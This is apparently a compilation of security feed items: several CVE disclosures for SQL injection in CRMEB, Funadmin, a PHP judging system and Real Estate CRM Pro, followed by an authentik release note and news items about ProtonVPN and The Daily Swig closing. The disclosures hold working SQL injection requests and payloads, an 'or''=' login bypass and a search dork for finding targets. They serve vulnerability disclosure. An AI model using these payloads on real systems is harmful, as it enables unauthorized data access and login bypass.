CRMEB <=1.3.4 is vulnerable to SQL Injection via /api/admin/user/list.

\[Suggested description\]  
sql injection vulnerability exists in crmeb\_java <=1.3.4  
/api/admin/user/list endpoint Unfiltered parameters 'level' cause sqli

\[Vulnerability Type\]  
SQLi

\[Vendor of Product\]  
https://github.com/crmeb/crmeb\_java

\[Affected Product Code Base\]  
<=1.3.4

\[Affected Component\]

GET /api/admin/user/list?labelId=&userType=routine&sex=&isPromoter=&country=&payCount=9&accessType=0&dateLimit=&keywords=&province=&city=&page=1&limit=15&level=1+and+extractvalue(1,CONCAT(1,user()))&groupId=1&temp=1675070029&addres=a% HTTP/2  
Host: api.java.crmeb.net  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0  
Accept: application/json, text/plain, _/_  
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2  
Accept-Encoding: gzip, deflate  
Authori-Zation: 0d8ed99c6e51404f82a22ba15332300a  
Origin: https://admin.java.crmeb.net  
Referer: https://admin.java.crmeb.net/  
Sec-Fetch-Dest: empty  
Sec-Fetch-Mode: cors  
Sec-Fetch-Site: same-site  
Te: trailers

\[Attack Type\]  
Remote

\[Vulnerability details\]  
step 1 login admin click user Manager and click search button  

step 2 intercept request use burpsuite  

step 3 insert payload in paramter “level”

level=1+and+extractvalue(1,CONCAT(1,user()))

https://api.java.crmeb.net/api/admin/user/list?labelId=&userType=routine&sex=&isPromoter=&country=&payCount=9&accessType=0&dateLimit=&keywords=&province=&city=&page=1&limit=15&level=1+and+extractvalue(1,CONCAT(1,user()))&groupId=1&temp=1675070029&addres=a%

there you can see it

\[Impact Code execution\]  
true  
\[Cause of vulnerability\]  
\\crmeb\\crmeb-service\\src\\main\\resources\\mapper\\user\\UserMapper.xml  
line 36 "${level}"  
When using "${}", program will do not do any processing, and directly splice the value into the sql statement lead sqli

CVE-2023-25223: There is a sql injection vulnerability exists in crmeb_java  · Issue #9 · crmeb/crmeb_java

Funadmin v3.2.0 was discovered to contain a SQL injection vulnerability via the selectFields parameter at \member\MemberLevel.php.

Vulnerability Product:funadmin  
Vulnerability version:.3.2.0  
Vulnerability type:sql injection  
Vulnerability Details：  
Vulnerability location app\\backend\\controller\\member\\MemberLevel.php# is called  
app\\backend\\controller\\member\\Member.php#index method  

After getting the parameter selectFields here, continue to enter  
selectFields method  
app\\common\\traits\\Curd.php#selectList  
  
Finally, enter \\vendor\\topthink\\think-orm\\src\\db\\BaseQuery.php#field is spliced ​​into sql without filtering to cause sql injection

Vulnerability reproduction:  
Background administrator rights  
sqlmap poc  
GET /backend/member.memberLevel/index?parentField=pid&selectFields%5Bname%5D=*&selectFields%5Bvalue%5D=id HTTP/1.1 Host: 192.168.3.129:8092 User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: zh-CN,zh;q=0.9 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Cookie: Hm_lvt_ce074243117e698438c49cd037b593eb=1673498041; PHPSESSID=591a908579ac738f0fc0f53d05c6aa51; think_lang=zh-cn; Hm_lvt_8dcaf664827c0e8ae52287ebb2411aed=1674888420; Hm_lpvt_8dcaf664827c0e8ae52287ebb2411aed=1674888420; auth_account=YToxOntzOjEyOiJhY2Nlc3NfdG9rZW4iO3M6MzI3OiJleUowZVhBaU9pSktWMVFpTENKaGJHY2lPaUpJVXpJMU5pSjkuZXlKdFpXMWlaWEpmYVdRaU9qRTFORGdzSW1Gd2NHbGtJam9pSWl3aVlYQndjMlZqY21WMElqb2lJaXdpYVhOeklqb2lhSFIwY0hNNkx5OTNkM2N1Wm5WdVlXUnRhVzR1WTI5dElpd2lZWFZrSWpvaWFIUjBjSE02THk5M2QzY3VablZ1WVdSdGFXNHVZMjl0SWl3aWMyTnZjR1Z6SWpvaWNtOXNaVjloWTJObGMzTWlMQ0pwWVhRaU9qRTJOelE0T0RrMU1EQXNJbTVpWmlJNk1UWTNORGc0T1RVd01Dd2laWGh3SWpveE5qYzFOVGd3TnpBd2ZRLkJITHd5WU5nNkpVVUZmMFFucGM0aHk2YlZ1c1V6WkVqR3N2SElva0pxYU0iO30%3D; clound_account=YTo0OntzOjI6ImlkIjtpOjE1NDg7czo4OiJ1c2VybmFtZSI7czoxMDoibXlmdW5hZG1pbiI7czo4OiJuaWNrbmFtZSI7czowOiIiO3M6NjoiYXZhdGFyIjtzOjM2OiIvc3RhdGljL2Zyb250ZW5kL2ltYWdlcy9hdmF0YXIvNi5qcGciO30%3D X-Csrf-Token: 57cf5483b08025dc11534643f460d0fc X-Requested-With: XMLHttpRequest Accept-Encoding: gzip

CVE-2023-24781: member.memberLevel#selectFields[name] has sql injection vulnerability · Issue #8 · funadmin/funadmin

authentik is an open-source Identity Provider. Due to an insufficient access check, a recovery flow link that is created by an admin (or sent via email by an admin) can be used to set the password for any arbitrary user. This attack is only possible if a recovery flow exists, which has both an Identification and an Email stage bound to it. If the flow has policies on the identification stage to skip it when the flow is restored (by checking `request.context['is_restored']`), the flow is not affected by this. With this flow in place, an administrator must create a recovery Link or send a recovery URL to the attacker, who can, due to the improper validation of the token create, set the password for any account. Regardless, for custom recovery flows it is recommended to add a policy that checks if the flow is restored, and skips the identification stage. This issue has been fixed in versions 2023.2.3, 2023.1.3 and 2022.12.2.

**New features​**

*   Proxy provider logout improvements
    
    In previous versions, logging out of a single proxied application would only invalidate that application's session. Starting with this release, when logging out of a proxied application (via the _/outpost.goauthentik.io/sign\_out_ URL), all the users session within the outpost are terminated. Sessions in other outposts and with other protocols are unaffected.
    
    Additionally, different providers now have different cookies, instead of all using the same "authentik\_proxy" token.
    
*   UX Improvements
    
    As with the previous improvements, we've made a lot of minor improvements to the general authentik UX to make your life easier.
    
*   OAuth2 Provider improvements
    
    The OAuth2 provider has been reworked to be closer to OAuth specifications and better support refresh tokens and offline access. Additionally the expiry for access tokens and refresh tokens can be adjusted separately now.
    
*   Generated avatars, multiple avatar modes
    
    authentik now supports multiple avatar modes, and will use the next configured mode when a mode doesn't have an avatar. For example, the new default configuration attempts to use gravatar, but if the user's email does not have a gravatar setup, it will instead use the new generated avatars. See Configuration
    

**Upgrading​**

This release does not introduce any new requirements.

**docker-compose​**

Download the docker-compose file for 2023.2 from here. Afterwards, simply run docker-compose up -d.

**Kubernetes​**

Update your values to use the new images:

    image:    repository: ghcr.io/goauthentik/server    tag: 2023.2.0

**Minor changes/fixes​**

*   \*/saml: disable pretty\_print, add signature tests
*   blueprints: don't update default tenant
*   blueprints: handle error when blueprint entry identifier field does not exist
*   core: Add support for auto generating unique avatars based on the user's initials (#4663)
*   core: delete session when user is set to inactive
*   core: fix inconsistent branding in end\_session view
*   core: fix missing uniqueness validator on user api
*   core: fix token's set\_key accessing data incorrectly
*   events: dont log oauth temporary model creation
*   events: improve sanitising for tuples and sets
*   events: prevent error when request fails without response
*   internal: better error message when outpost API controller couldn't fetch outposts
*   internal: fix cache-control header
*   policies/event\_matcher: fix empty app label not being allowed, require at least 1 criteria
*   providers/ldap: add unbind flow execution (#4484)
*   providers/ldap: fix error not being checked correctly when fetching users
*   providers/oauth2: add user id as "sub" mode
*   providers/oauth2: don't use policy cache for token requests
*   providers/oauth2: only set auth\_time in ID token when a login event is stored in the session
*   providers/oauth2: optimise client credentials JWT database lookup (#4606)
*   providers/oauth2: rework OAuth2 Provider (#4652)
*   providers/proxy: add token support for basic auth
*   providers/proxy: different cookie name based on hashed client id (#4666)
*   providers/proxy: outpost wide logout implementation (#4605)
*   providers/saml: fix invalid SAML provider metadata, add schema tests
*   providers/saml: fix mismatched SAML SLO Urls (#4655)
*   stages/authenticator\_validate: fix error with passwordless webauthn login
*   stages/prompt: field name (#4497)
*   stages/user\_write: fix migration setting wrong value, fix form
*   web: fix token delete form not showing token identifiers
*   web/admin: add notice for user\_login stage session cookie behaviour
*   web/admin: clarify access code expiration
*   web/admin: default to disable policy execution logging
*   web/admin: fix certificate filtering for SAML verification certificate
*   web/admin: rework event info page to show all event infos
*   web/elements: add dropdown css to DOM directly instead of including
*   web/elements: fix ak-expand not using correct font
*   web/elements: fix clashing page url param
*   web/elements: improve codemirror contrast in dark theme
*   web/elements: make table rows clickable to select items
*   web/elements: persist table page in URL parameters
*   web/flows: fix flow background overlay on firefox
*   web/user: filter tokens by username
*   web/user: refactor loading of data in userinterface

**Fixed in 2023.2.1​**

*   internal: fix scheme not being forwarded correctly for host intercepted requests
*   sources/ldap: add LDAP Debug endpoint
*   web/admin: improve action button spinner on ldap source page
*   web/admin: remove groups and users from users and group form to prevent accidental removal when updating
*   web/admin: use full page size for modals

**Fixed in 2023.2.2​**

*   flows: include flow authentication requirement in diagram
*   lib: don't try to cache generated avatar with full user, only cache with name
*   providers/ldap: check MFA password on password stage
*   providers/proxy: fix client credential flows not using http interceptor
*   providers/proxy: fix value is too long with filesystem sessions
*   root: use channel send workaround for sync sending of websocket messages
*   web/admin: fix error when creating new users
*   web/user: revert truncate behaviour for application description

**Fixed in 2023.2.3​**

*   \*: fix CVE-2023-26481, Reported by @fuomag9

**API Changes​****What's New​**

**POST /admin/system/​****What's Changed​**

**POST /core/tokens/{identifier}/set\_key/​****GET /providers/oauth2/{id}/​****Return Type:​**

Changed response : **200 OK**

*   Changed content type : application/json
    
    *   Changed property sub_mode (string)
        
        > Configure what data should be used as unique User Identifier. For most cases, the default should be fine.
        
        Added enum value:
        
        *   user_id

**PUT /providers/oauth2/{id}/​****Request:​**

Changed content type : application/json

*   Changed property sub_mode (string)
    
    > Configure what data should be used as unique User Identifier. For most cases, the default should be fine.
    
    Added enum value:
    
    *   user_id

**Return Type:​**

Changed response : **200 OK**

*   Changed content type : application/json
    
    *   Changed property sub_mode (string)
        
        > Configure what data should be used as unique User Identifier. For most cases, the default should be fine.
        
        Added enum value:
        
        *   user_id

**PATCH /providers/oauth2/{id}/​****Request:​**

Changed content type : application/json

*   Changed property sub_mode (string)
    
    > Configure what data should be used as unique User Identifier. For most cases, the default should be fine.
    
    Added enum value:
    
    *   user_id

**Return Type:​**

Changed response : **200 OK**

*   Changed content type : application/json
    
    *   Changed property sub_mode (string)
        
        > Configure what data should be used as unique User Identifier. For most cases, the default should be fine.
        
        Added enum value:
        
        *   user_id

**POST /providers/oauth2/​****Request:​**

Changed content type : application/json

*   Changed property sub_mode (string)
    
    > Configure what data should be used as unique User Identifier. For most cases, the default should be fine.
    
    Added enum value:
    
    *   user_id

**Return Type:​**

Changed response : **201 Created**

*   Changed content type : application/json
    
    *   Changed property sub_mode (string)
        
        > Configure what data should be used as unique User Identifier. For most cases, the default should be fine.
        
        Added enum value:
        
        *   user_id

**GET /providers/oauth2/​****Parameters:​**

Changed: sub_mode in query

> Configure what data should be used as unique User Identifier. For most cases, the default should be fine.

**Return Type:​**

Changed response : **200 OK**

*   Changed content type : application/json
    
    *   Changed property results (array)
        
        Changed items (object): > OAuth2Provider Serializer
        
        *   Changed property sub_mode (string)
            
            > Configure what data should be used as unique User Identifier. For most cases, the default should be fine.
            
            Added enum value:
            
            *   user_id

**Return Type:​**

Changed response : **200 OK**

*   Changed content type : application/json
    
    *   Changed property provider (object)
        
        > OAuth2Provider Serializer
        
        *   Changed property sub_mode (string)
            
            > Configure what data should be used as unique User Identifier. For most cases, the default should be fine.
            
            Added enum value:
            
            *   user_id

**GET /oauth2/refresh\_tokens/{id}/​****Return Type:​**

Changed response : **200 OK**

*   Changed content type : application/json
    
    *   Changed property provider (object)
        
        > OAuth2Provider Serializer
        
        *   Changed property sub_mode (string)
            
            > Configure what data should be used as unique User Identifier. For most cases, the default should be fine.
            
            Added enum value:
            
            *   user_id

**GET /oauth2/authorization\_codes/​****Return Type:​**

Changed response : **200 OK**

*   Changed content type : application/json
    
    *   Changed property results (array)
        
        Changed items (object): > Serializer for BaseGrantModel and ExpiringBaseGrant
        
        *   Changed property provider (object)
            
            > OAuth2Provider Serializer
            
            *   Changed property sub_mode (string)
                
                > Configure what data should be used as unique User Identifier. For most cases, the default should be fine.
                
                Added enum value:
                
                *   user_id

**GET /oauth2/refresh\_tokens/​****Return Type:​**

Changed response : **200 OK**

*   Changed content type : application/json
    
    *   Changed property results (array)
        
        Changed items (object): > Serializer for BaseGrantModel and RefreshToken
        
        *   Changed property provider (object)
            
            > OAuth2Provider Serializer
            
            *   Changed property sub_mode (string)
                
                > Configure what data should be used as unique User Identifier. For most cases, the default should be fine.
                
                Added enum value:
                
                *   user_id

**GET /stages/prompt/prompts/{prompt\_uuid}/​****Return Type:​**

Changed response : **200 OK**

*   Changed content type : application/json
    
    New required properties:
    
    *   name
    
    *   Added property name (string)

**PUT /stages/prompt/prompts/{prompt\_uuid}/​****Request:​**

Changed content type : application/json

New required properties:

*   name

*   Added property name (string)

**Return Type:​**

Changed response : **200 OK**

*   Changed content type : application/json
    
    New required properties:
    
    *   name
    
    *   Added property name (string)

**PATCH /stages/prompt/prompts/{prompt\_uuid}/​****Request:​**

Changed content type : application/json

*   Added property name (string)

**Return Type:​**

Changed response : **200 OK**

*   Changed content type : application/json
    
    New required properties:
    
    *   name
    
    *   Added property name (string)

**POST /stages/prompt/prompts/​****Request:​**

Changed content type : application/json

New required properties:

*   name

*   Added property name (string)

**Return Type:​**

Changed response : **201 Created**

*   Changed content type : application/json
    
    New required properties:
    
    *   name
    
    *   Added property name (string)

**GET /stages/prompt/prompts/​****Parameters:​**

Added: name in query

**Return Type:​**

Changed response : **200 OK**

*   Changed content type : application/json
    
    *   Changed property results (array)
        
        Changed items (object): > Prompt Serializer
        
        New required properties:
        
        *   name
        
        *   Added property name (string)

CVE-2023-26481: Release 2023.2 - Signout and Avatar improvements | authentik

Today, Talos is publishing a glimpse into the most prevalent threats we've observed between Feb. 24 and March 3. As with previous roundups, this post isn't meant to be an in-depth analysis. Instead, this post will summarize the threats we've observed by highlighting key

Threat Roundup (Feb. 24 - March 3)

Judging Management System v1.0 was discovered to contain a SQL injection vulnerability via the sid parameter at /php-jms/updateBlankTxtview.php.

Permalink

Cannot retrieve contributors at this time

**Judging Management System v1.0 by oretnom23 has SQL injection**

BUG\_Author: XZY0193

vendors: https://www.sourcecodester.com/php/15910/judging-management-system-using-php-and-mysql-free-source-code.html

The program is built using the xmapp-php8.1 version

Vulnerability File: /php-jms/updateBlankTxtview.php?sid=

Vulnerability location: /php-jms/updateBlankTxtview.php?sid=, sid

dbname =jms\_db

\[+\] Payload: /php-jms/updateBlankTxtview.php?sid=1%27%20and%20updatexml(1,concat(0x7e,(select%20database()),0x7e),0)--+ // Leak place ---> sid

GET /php\-jms/updateBlankTxtview.php?sid\=1%27%20and%20updatexml(1,concat(0x7e,(select%20database()),0x7e),0)\--\+ HTTP/1.1
Host: 192.168.1.88
User\-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q\=0.9,\*/\*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=f6bhcgo222sk31fnm99nf9tjt1
Connection: close

CVE-2023-24643: mycve/SQLi-3.md at main · 594238758/mycve

Judging Management System v1.0 was discovered to contain a SQL injection vulnerability via the sid parameter at /php-jms/updateTxtview.php.

Permalink

Cannot retrieve contributors at this time

**Judging Management System v1.0 by oretnom23 has SQL injection**

BUG\_Author: XZY0193

vendors: https://www.sourcecodester.com/php/15910/judging-management-system-using-php-and-mysql-free-source-code.html

The program is built using the xmapp-php8.1 version

Vulnerability File: /php-jms/updateTxtview.php?sid=

Vulnerability location: /php-jms/updateTxtview.php?sid=, sid

dbname =jms\_db

\[+\] Payload: /php-jms/updateTxtview.php?sid=1%27%20and%20updatexml(1,concat(0x7e,(select%20database()),0x7e),0)--+ // Leak place ---> sid

GET /php\-jms/updateTxtview.php?sid\=1%27%20and%20updatexml(1,concat(0x7e,(select%20database()),0x7e),0)\--\+ HTTP/1.1
Host: 192.168.1.88
User\-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q\=0.9,\*/\*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=f6bhcgo222sk31fnm99nf9tjt1
Connection: close

CVE-2023-24642: mycve/SQLi-2.md at main · 594238758/mycve

Judging Management System v1.0 was discovered to contain a SQL injection vulnerability via the sid parameter at /php-jms/updateview.php.

Permalink

Cannot retrieve contributors at this time

**Judging Management System v1.0 by oretnom23 has SQL injection**

BUG\_Author: XZY0193

vendors: https://www.sourcecodester.com/php/15910/judging-management-system-using-php-and-mysql-free-source-code.html

The program is built using the xmapp-php8.1 version

Vulnerability File: /php-jms/updateview.php?sid=

Vulnerability location: /php-jms/updateview.php?sid=, sid

dbname =jms\_db

\[+\] Payload: /php-jms/updateview.php?sid=1%27%20and%20updatexml(1,concat(0x7e,(select%20database()),0x7e),0)--+ // Leak place ---> sid

GET /php\-jms/updateview.php?sid\=1%27%20and%20updatexml(1,concat(0x7e,(select%20database()),0x7e),0)\--\+ HTTP/1.1
Host: 192.168.1.88
User\-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q\=0.9,\*/\*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=f6bhcgo222sk31fnm99nf9tjt1
Connection: close

CVE-2023-24641: mycve/SQLi-1.md at main · 594238758/mycve

Real Estate CRM Pro from IT Ways version 5.7 appears to suffer from a remote SQL injection vulnerability that can allow for authentication bypass.

    ====================================================================================================================================| # Title     : Real Estate CRM Pro v 5.7 Auth By Pass Vulnerability                                                               || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 69.0(32-bit)                                               | | # Vendor    : https://www.itways.in/product/real-estate-crm-pro/                                                                 |  | # Dork      : "Developed by IT Ways"                                                                                             |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] Use payload : user : 'or''=' & Pass : 'or''='[+] https://127.0.0.1/saathirealtycom/crm/admin/Greetings to :=========================================================================================================================                                                                                                                                      |jericho * Larry W. Cashdollar * brutelogic* hyp3rlinx* 9aylas * shadow_00715 * LiquidWorm*                                            |                                                                                                                                              |=======================================================================================================================================

Real Estate CRM Pro 5.7 SQL Injection

By Waqas
ProtonVPN is currently available in three packages, including one free and two paid.
This is a post from HackRead.com Read the original post: ProtonVPN launches extensions for Chrome and Firefox browsers

You can now connect to ProtonVPN with just one tap of a button.

**Proton VPN** has launched its new browser extension for Chrome and Firefox, fulfilling one of the most sought-after features requested by its user community. This new extension provides users with a more flexible way to protect their online privacy and **bypass censorship**.

The Proton VPN browser extension is a standalone platform that encrypts internet traffic and browsers without needing to install Windows or Mac applications. This distribution method allows users in countries with blocked app stores to access Proton VPN.

With this new extension, users can easily protect their browser traffic without affecting the speeds or IP addresses of other applications on their devices. The extension can be used across multiple browsers, and each browser can be connected to a different server, allowing for up to ten simultaneous VPN connections.

In a **statement**, Proton VPN explained that they understand the importance of online privacy and freedom of access, and this new extension is designed to provide more options for users to protect their online activity. They also emphasized that they take user feedback seriously and strive to implement new features that cater to their needs.

> The Proton VPN browser extension is available for Chromium-based browsers (such as Google Chrome, Brave, Microsoft Edge, Chromium, Opera, and Vivaldi) and Firefox-based browsers (including Firefox itself, LibreWolf, and Waterfox).
> 
> ProtonVPN

Proton VPN is a well-known and reputable **VPN provider** based in Switzerland that has been praised for its strong security measures and privacy protections. The company’s commitment to expanding its offerings and providing users with more control over their online privacy is a significant step forward in the fight for digital rights.

1.  **Best legal & free online streaming sites**
2.  **ExpressVPN Removes VPN Servers in India**
3.  **What is an OSINT tool – Best OSINT tools 2023**
4.  **8 best dark web search engines for Tor browser**
5.  **Mozilla VPN – Firefox private network VPN is here**

I am a UK-based cybersecurity journalist with a passion for covering the latest happenings in cyber security and tech world. I am also into gaming, reading and investigative journalism

ProtonVPN launches extensions for Chrome and Firefox browsers

PortSwigger today announces that The Daily Swig is closing down

Jessica Haworth 02 March 2023 at 14:05 UTC

PortSwigger today announces that The Daily Swig is closing down

  

Over the past five-and-a-half years, The Daily Swig has provided an independent and high-quality perspective on cybersecurity news and topics.

We are proud of everything that the Swig has achieved, and to this point, we are sorry to announce that this journey has come to an end.

The Daily Swig launched in 2017 to provide a free, independent news service to the web security community.

During this period, the way that readers consume news has evolved considerably. News today is largely consumed through various aggregators, with little loyalty to, or even awareness of, the news publisher’s brand. In this context, there is limited business value for a software vendor to provide a service such as The Daily Swig at no cost.

PortSwigger founder Dafydd Stuttard explains: “Additionally, The Daily Swig’s remit, of providing robust, editorially-independent reporting carries various costs and risks to our business.

“We have written stories about numerous bad actors, some of whom are well-funded, and we have been obliged to pay settlements for malicious legal actions. We have sometimes been targeted by activists seeking to damage our software business because they dislike our story. This reality made it harder to justify continuing with the Swig.

“I would like to thank the Swiggers and freelance journalists who have created such excellent output for The Daily Swig over the years.”

PortSwigger employees affected by the closure of The Daily Swig have been invited to apply for any other role that exists within the company, with the alternative of a redundancy package.

**End of an era**

As a team, we would like to thank our readers for their support. We’d also like to thank the security researchers, bug bounty hunters, software developers, and others across the infosec industry we have had the pleasure of interviewing over the years.

“I’ve covered the topic of infosec across many outlets since 1997,” journalist John Leyden commented.

“In all that time, I’ve never become so immersed in a segment of the community than \[during my time\] reporting on web security for The Daily Swig.”

Adam Bannister shared: “One personal standout was my conversation with Tommy DeVoss, whose journey from black hat hacker, to jail, to high-earning bug hunter really demonstrates the wisdom of providing legal protections and financial incentives for good-faith hacking.

“Another was how a peculiarity of Japanese punctuation exacerbated a privacy flaw that leaked one-word search terms in Chrome and Firefox. This was far from a critical issue, but showed the tricky trade-offs involved in applying patches or mitigations, and was a story I’d tracked for 16 months.”

We’d like to conclude our final article by sharing some more of the stories we’re most proud of working on during our time at The Daily Swig.

*   John Leyden spoke to Black Hat founder Jeff Moss about his work consulting on TV program Mr Robot and how he pushed for authenticity in the show.
    
*   We took time to celebrate the positive achievements across the web security sphere in our annual roundup, a move that was widely praised in an industry that so often focuses on the negatives.
    
*   Another story that was loved by our readers was this roundup of the top 10 hacking films of all time.
    
*   Always on top of the latest web hacking vulnerabilities, Ben Dickson wrote this fantastic explainer on the relatively recently emerging bug prototype pollution.
    
*   Emma Woollacott interviewed Marcus Hutchins on the fifth anniversary of the infamous WannaCry ransomware attack, as he spoke about the day he discovered the kill switch by registering a web domain found in the malware’s code.
    
*   Aside from tricky technical reporting, Charlie Osborne often also reported on issues affecting the infosec community, more recently covering the criticism by researchers of certain bug disclosure practices.
    
*   And Stephen Pritchard shared this analysis on the rise of ‘million dollar bug bounties’ and whether the promise of record-breaking payouts matches up to reality.
    

–The Daily Swig team

Tag

#firefox